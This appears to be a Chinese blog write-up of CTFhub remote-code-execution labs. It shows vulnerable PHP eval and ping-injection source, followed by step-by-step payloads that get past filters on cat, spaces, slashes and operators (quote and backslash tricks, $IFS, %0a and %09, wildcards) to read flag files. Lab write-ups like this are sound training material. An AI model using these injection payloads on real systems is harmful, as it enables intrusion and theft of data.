RCE 漏洞 CTFhub学习

前言

之前刷buu的题的时候,见过RCE漏洞的题,但是由于没有系统的学习,解题比较的困难。这次,系统的学习一下,防止以后遇见没有思路。

什么是RCE漏洞

RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
出现的原因是:没有在输入口做输入处理。

eval执行

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

由于PHP基础不牢,百度了一下$_REQUEST

PHP $_REQUEST是用于收集HTML表单提交的数据,PHP $_REQUEST属于PHP的超级全局变量
eval 就是输出的意思

1.先查询此页面的目录

?cmd=system("ls");

system是可以执行系统命令的函数

在这里插入图片描述
可以看到此页面就包含一个index.php目录
2.查看根目录
在此前,我插入一个知识点
ls和ls /的区别

ls 无参数时,显示当前目录下的文件。当前目录就是指,用户操作命令时,所处的目录,可用pwd看到
ls / 参数/是根目录的意思,这表示显示根目录下的文件

在这里插入图片描述
查看根目录可以看到有flag_6423文件
3.查看flag_6423文件

?cmd=system("cat /flag_6243");

在这里插入图片描述
得到flag

命令注入(无过滤)

题目

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

在这里插入图片描述
1.尝试查看当前目录

;ls

在这里插入图片描述2.查看306201924611922.php

cat 306201924611922.php

在这里插入图片描述
无回显,可能藏在源码里
在这里插入图片描述
果然

过滤cat

题目

过滤了cat命令之后,你还有什么方法能读到 Flag?

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

在这里插入图片描述
1.先查看当前页面的目录

1;ls

在这里插入图片描述
2.查看flag_15619585028752.php
因为过滤了cat,我们需要绕过

  • 单引号双引号过滤
?ip=;ca''t  flag_15619585028752.php
?ip=;ca""t   flag_15619585028752.php

  • 反斜杠绕过
?ip=;ca\t  flag_15619585028752.php
  • shell特殊变量绕过
?ip=;ca$@t  flag_15619585028752.php
?ip=;ca$1t  flag_15619585028752.php

  • linux中存在许多别的可以查看文件的命令
cat、tac、more、less、head、tail、file -f、nl、sed、sort、uniq

cat: 由第一行开始显示档案内容
tac: 从最后一行开始显示,可以看出 taccat 的反向显示!
nl: 显示的时候,随便输出行号!
more: 一页一页的显示档案内容
lessmore 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页!
head: 查看头几行
tail: 查看尾几行
od: 以二进制的方式读取档案内容!
最常使用的显示档案内容的指令可以说是 cat ,more 及 less 了!



在这里插入图片描述

过滤空格

题目

这次过滤了空格,你能绕过吗

源码


<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

在这里插入图片描述
1.还是老样子,查看此页面下的目录

;ls

在这里插入图片描述
2.查看flag_92171963431484.php文件里面的内容
构建payload

;cat flag_92171963431484.php

但是它过滤了空格,所以就需要我们绕过空格

 < 
 <>
 %20(space)
 %09(tab)
 $IFS$9
  ${IFS}
  $IFS  

以上字符均可。
构建新的payload


;cat$IFS$1flag_92171963431484.php

在这里插入图片描述

过滤目录分隔符

题目

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

在这里插入图片描述
1.查看此页面下的目录

;ls

在这里插入图片描述
2.查看flag_is_here文件的内容
正常的payload已经没用了

;cat flag_is_here

已经没有用了
一些linux和window中的命令分割符

linux中:%0a 、%0d 、;&|&&||
windows中:%0a、&|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

由于过滤了目录分隔符,所以需要cd到当前目录查看,并且使用;分割符连续执行指令

;cd flag_is_here;ls

到flag_is_here目录下,查看他的目录文件
在这里插入图片描述

;cd flag_is_here;cat flag_181751073420157.php

到flag_is_here目录下,查看flag_181751073420157.php的内容

在这里插入图片描述

过滤运算符

题目

过滤了几个运算符, 要怎么绕过呢

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

在这里插入图片描述
1.从代码中,可以看出,过滤了 | 和 & 两个字符
所以我们使用 ; 分隔符

2.查看当前目录下的文件

;ls

在这里插入图片描述
3.查看flag_23971724918083.php的内容

;cat flag_23971724918083.php

在这里插入图片描述

综合过滤练习

题目

同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

在这里插入图片描述

本题在输入框里面不能执行命令,构建的payload应该直接在url后添加
1.查看源码,可以知道过滤了 | ,& , cat ,flag, ctfhub,; ,/ ,空格 等字符。
2.查看当前页面下的目录

原命令:|ls
# 用%0a替换|
输入命令: %0als

在这里插入图片描述
3.查看flag_is_here,文件下的目录

原命令:;cd flag_is_here ;ls
# ;用%0a绕过
# ${IFS}代替空格
# flag被过滤了,使用通配符*绕过
输入命令: %0acd${IFS}*_is_here%0als



在这里插入图片描述
4.查看 flag_2226735174158.php

原命令:;cd flag_is_here ;cat flag_2226735174158.php
#用more代替cat
输入命令:%0acd${IFS}*_is_here%0amore%09*_2226735174158.php

得到flag
在这里插入图片描述

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值